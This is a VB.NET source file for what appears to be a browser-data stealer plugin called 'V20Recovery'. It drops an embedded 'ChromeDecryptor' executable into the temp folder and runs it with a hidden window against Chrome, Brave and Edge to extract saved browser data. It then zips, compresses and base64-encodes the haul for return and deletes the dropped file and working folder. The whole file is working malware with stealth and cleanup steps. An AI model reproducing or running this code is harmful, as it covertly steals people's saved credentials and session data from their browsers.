Imports System Imports System.Diagnostics Imports System.IO Imports System.IO.Compression Imports System.Text Imports System.Threading Imports Microsoft.VisualBasic Namespace V20Recovery Public Class Plugin Public Shared Function RunRecovery(Method As Integer) As String Dim text3 As String Try Select Case Method Case 7 Dim tempPath As String = Path.GetTempPath() Dim text As String = Path.Combine(tempPath, "XRecovery.zip") Dim flag As Boolean = File.Exists(text) If flag Then Try File.Delete(text) Catch ex As Exception End Try End If Plugin.RunChromiumDecryptions() Thread.Sleep(5000) Dim text2 As String = Path.GetTempPath() + "XRecovery" Using zipFile As Ionic.Zip.ZipFile = New Ionic.Zip.ZipFile(Encoding.GetEncoding("cp866")) zipFile.ParallelDeflateThreshold = -1L zipFile.UseZip64WhenSaving = Ionic.Zip.Zip64Option.Always zipFile.CompressionLevel = Ionic.Zlib.CompressionLevel.[Default] zipFile.AddDirectory(text2) zipFile.Save(text2 + ".zip") Directory.Delete(text2, True) End Using Return Convert.ToBase64String(Plugin.Compress(File.ReadAllBytes(text2 + ".zip"))) End Select text3 = Nothing Catch ex2 As Exception text3 = Nothing End Try Return text3 End Function Public Shared Function Compress(input As Byte()) As Byte() Dim array As Byte() Using memoryStream As MemoryStream = New MemoryStream() Dim bytes As Byte() = BitConverter.GetBytes(input.Length) memoryStream.Write(bytes, 0, 4) Using gzipStream As Global.System.IO.Compression.GZipStream = New Global.System.IO.Compression.GZipStream(memoryStream, Global.System.IO.Compression.CompressionMode.Compress) gzipStream.Write(input, 0, input.Length) gzipStream.Flush() End Using array = memoryStream.ToArray() End Using Return array End Function Public Shared Sub RunChromiumDecryptions() Dim text As String = Path.Combine(Path.GetTempPath(), "XRecovery", "Browsers") Dim flag As Boolean = Directory.Exists(text) If flag Then Directory.Delete(text, True) End If Thread.Sleep(3000) Dim flag2 As Boolean = Not Directory.Exists(text) If flag2 Then Directory.CreateDirectory(text) End If Dim text2 As String = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString() + ".exe") File.WriteAllBytes(text2, My.Resources.ChromeDecryptor) Dim array As String() = New String() {"chrome", "brave", "edge"} For Each text3 As String In array Plugin.RunProcessHidden(text2, String.Format(" {0} -o ""{1}""", text3, text)) Next File.Delete(text2) End Sub Private Shared Sub RunProcessHidden(path As String, args As String) Dim flag As Boolean = Not File.Exists(path) If Not flag Then Using process As Process = New Process() process.StartInfo.FileName = path process.StartInfo.Arguments = args process.StartInfo.CreateNoWindow = True process.StartInfo.UseShellExecute = False process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden process.Start() process.WaitForExit() End Using End If End Sub End Class End Namespace